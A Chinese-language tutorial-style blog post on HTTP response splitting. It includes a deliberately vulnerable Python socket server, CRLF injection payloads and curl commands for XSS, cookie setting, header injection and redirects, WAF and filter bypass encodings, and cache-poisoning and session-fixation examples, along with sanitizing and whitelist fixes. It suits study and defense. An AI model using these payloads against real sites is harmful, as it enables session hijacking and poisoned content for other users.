HTTP响应拆分漏洞

HTTP响应拆分漏洞分析

基本了解

漏洞定义

HTTP响应拆分漏洞(HTTP Response Splitting)是一种Web应用安全漏洞，攻击者通过在HTTP响应头中注入CRLF字符序列来”拆分”HTTP响应，从而控制响应的内容。

**核心原理：**HTTP协议使用CRLF（\r\n）来分隔响应头和响应体

CRLF 字符详解CRLF 是计算机中一种常见的换行符，全称是 Carriage Return + Line Feed，即：

CR（Carriage Return，回车）：\r，ASCII 码是 13

LF（Line Feed，换行）：\n，ASCII 码是 10

CRLF组合：\r\n，在HTTP协议中用于分隔头部字段

双CRLF：\r\n\r\n，用于分隔HTTP头部和消息体

攻击原理图解

基础攻击流程

1
正常响应：
2
 HTTP/1.1 200 OK
3
 Content-Type: text/html
4
 Set-Cookie: user=admin
5

6
 <html>...</html>
7

8
 攻击载荷：
9
 user=admin%0d%0a%0d%0a<script>alert('XSS')</script>
10

11
 攻击后的响应：
12
 HTTP/1.1 200 OK
13
 Content-Type: text/html
14
 Set-Cookie: user=admin%0d%0a%0d%0a<script>alert('XSS')</script>
15

16
 被拆分为：
17
 HTTP/1.1 200 OK
18
 Content-Type: text/html
19
 Set-Cookie: user=admin
20

21
 <script>alert('XSS')</script>

简单实验

Flask框架的局限性

采用 Flask 等现代框架通常不会出现此漏洞，因为这些框架已经内置了CRLF过滤机制：

1
from flask import Flask, request, make_response
2

3
app = Flask(__name__)
4

5
@app.route('/set_language')
6
def set_language():
7
    # 获取用户选择的语言
8
    lang = request.args.get('lang', 'en')
9

10
    # 漏洞点：直接将用户输入放入响应头，但Flask会自动过滤CRLF字符
11
    response = make_response(f"Language set to: {lang}")
12
    response.headers['Set-Cookie'] = f'language={lang}; Path=/'
13
    response.headers['Location'] = f'/welcome?lang={lang}'
14

15
    return response
16

17
if __name__ == '__main__':
18
    app.run(debug=True)

漏洞实现

为了演示真实的漏洞，我们使用更原始的socket实现：

1
from flask import Flask, request, make_response
2

3
app = Flask(__name__)
4

5
@app.route('/set_language')
6
def set_language():
7
    # 获取用户选择的语言
8
    lang = request.args.get('lang', 'en')
9

10
    # 漏洞点：直接将用户输入放入响应头，没有过滤CRLF字符
11
    response = make_response(f"Language set to: {lang}")
12
    response.headers['Set-Cookie'] = f'language={lang}; Path=/'
13
    response.headers['Location'] = f'/welcome?lang={lang}'
14

15
    return response
16

17
if __name__ == '__main__':
18
    app.run(debug=True)

我们采用更加原始的socket实现：

1
import socket
2
import threading
3
import urllib.parse
4

5

6
def handle_client(client_socket, address):
7
    try:
8
        # 接收请求
9
        request = client_socket.recv(1024).decode('utf-8')
10
        print(f"Received request from {address}:")
11
        print(request)
12

13
        # 解析请求
14
        lines = request.split('\n')
15
        if lines:
16
            request_line = lines[0]
17
            if 'GET' in request_line and '/set_language' in request_line:
18
                # 提取URL参数
19
                if '?' in request_line:
20
                    query_string = request_line.split('?')[1].split(' ')[0]
21
                    params = urllib.parse.parse_qs(query_string)
22
                    lang = params.get('lang', ['en'])[0]
23

24
                    # URL解码
25
                    lang = urllib.parse.unquote(lang)
26

27
                    # 构造响应（有漏洞的版本 - 直接拼接用户输入）
28
                    response_body = f"Language set to: {lang}"
29
                    response = f"""HTTP/1.1 200 OK\r
30
Content-Type: text/html\r
31
Set-Cookie: language={lang}; Path=/\r
32
Content-Length: {len(response_body)}\r
33
\r
34
{response_body}"""
35

36
                    print(f"Sending response:")
37
                    print(repr(response))
38
                    client_socket.send(response.encode('utf-8'))
39
                else:
40
                    # 默认响应
41
                    response = """HTTP/1.1 200 OK\r
42
Content-Type: text/html\r
43
Content-Length: 25\r
44
\r
45
Language set to: default"""
46
                    client_socket.send(response.encode('utf-8'))
47
            else:
48
                # 404响应
49
                response = """HTTP/1.1 404 Not Found\r
50
Content-Type: text/html\r
51
Content-Length: 13\r
52
\r
53
404 Not Found"""
54
                client_socket.send(response.encode('utf-8'))
55

56
    except Exception as e:
57
        print(f"Error handling client {address}: {e}")
58
    finally:
59
        client_socket.close()
60

61

62
def start_server():
63
    server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
64
    server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
65
    server.bind(('localhost', 5002))
66
    server.listen(5)
67

68
    print("Vulnerable HTTP server started on http://localhost:5002")
69

70
    try:
71
        while True:
72
            client_socket, address = server.accept()
73
            client_thread = threading.Thread(
74
                target=handle_client,
75
                args=(client_socket, address)
76
            )
77
            client_thread.start()
78
    except KeyboardInterrupt:
79
        print("\nShutting down server...")
80
    finally:
81
        server.close()
82

83

84
if __name__ == '__main__':
85
    start_server()

payload

HTTP 响应头位置使用了未经处理的用户数据

XSS

1
http://localhost:5002/set_language?lang=en%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script>
2

3
----
4
en
5
Content-Type: text/html
6

7
<script>alert('XSS')</script>

curl 测试

浏览器测试

Cookie劫持：

curl -v “http://localhost:5002/set_language?lang=en%0d%0aSet-Cookie:%20admin=true;%20HttpOnly”

头部注入：

1
curl -v "http://localhost:5002/set_language?lang=en%0d%0aX-Hacked:%20true%0d%0aX-Admin:%20yes"

重定向攻击：

1
curl -v "http://localhost:5002/set_language?lang=en%0d%0aLocation:%20http://www.bx33661.com"

绕过安全机制

绕过WAF

🔍# 使用不同编码方式
 %0d%0a        # 标准URL编码
 %0D%0A        # 大写编码
 %u000d%u000a  # Unicode编码
 \r\n          # 直接字符
 %E5%98%8A%E5%98%8D  # 双重编码

绕过输入过滤

🔍# 使用UTF-8编码
%C0%8D%C0%8A  # 非标准UTF-8编码的CRLF
%E0%80%8D%E0%80%8A  # 过长UTF-8编码

# 使用混合编码
%0d%0a%20%20  # CRLF + 空格（某些解析器会忽略空格）

措施和修复

这里记录一些理解

输入验证和过滤

严格的CRLF过滤

1
import re
2

3
def sanitize_header_value(value):
4
    """安全地处理HTTP头值"""
5
    if not isinstance(value, str):
6
        value = str(value)
7

8
    # 移除所有CRLF字符
9
    value = re.sub(r'[\r\n]', '', value)
10

11
    # 移除其他控制字符
12
    value = re.sub(r'[\x00-\x1f\x7f-\x9f]', '', value)
13

14
    # 限制长度
15
    value = value[:200]
16

17
    return value
18

19
# 使用示例
20
user_input = request.args.get('lang', '')
21
safe_value = sanitize_header_value(user_input)
22
response.headers['X-Language'] = safe_value

白名单验证

1
def validate_language_code(lang):
2
    """验证语言代码"""
3
    allowed_languages = ['en', 'zh', 'fr', 'de', 'ja', 'ko']
4
    return lang if lang in allowed_languages else 'en'
5

6
# 使用白名单而不是黑名单
7
lang = validate_language_code(request.args.get('lang', 'en'))

还有各个框架的安全设置，和服务器设置

深度攻击思路（ing）

缓存投毒攻击 (Cache Poisoning)

缓存投毒是通过HTTP响应拆分漏洞污染缓存服务器，使恶意内容被缓存并提供给后续用户的攻击方式。

攻击原理

🔍# 正常请求
 GET /api/data?callback=handleData HTTP/1.1
 Host: example.com
 
 # 恶意载荷
 GET /api/data?callback=handleData%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('Cached XSS')</script> HTTP/1.1
 Host: example.com

攻击效果

🔍# 第一个响应（被缓存）
 HTTP/1.1 200 OK
 Content-Type: application/javascript
 Content-Length: 0
 
 # 第二个响应（恶意内容）
 HTTP/1.1 200 OK
 Content-Type: text/html
 
 <script>alert('Cached XSS')</script>

会话固定攻击 (Session Fixation)

通过响应拆分强制设置特定的会话ID。

🔍# 攻击载荷
 GET /login?redirect=/home%0d%0aSet-Cookie:%20SESSIONID=ATTACKER_CONTROLLED_ID;%20HttpOnly HTTP/1.1
 
 # 响应结果
 HTTP/1.1 302 Found
 Location: /home
 Set-Cookie: SESSIONID=ATTACKER_CONTROLLED_ID; HttpOnly

HTTP响应拆分漏洞分析

Table of Contents

HTTP响应拆分漏洞分析

基本了解

漏洞定义

攻击原理图解

基础攻击流程

简单实验

Flask框架的局限性

漏洞实现

payload

XSS

Cookie劫持：

头部注入：

重定向攻击：

绕过安全机制

绕过WAF

绕过输入过滤

措施和修复

输入验证和过滤

严格的CRLF过滤

白名单验证

深度攻击思路（ing）

缓存投毒攻击 (Cache Poisoning)

攻击原理

攻击效果

会话固定攻击 (Session Fixation)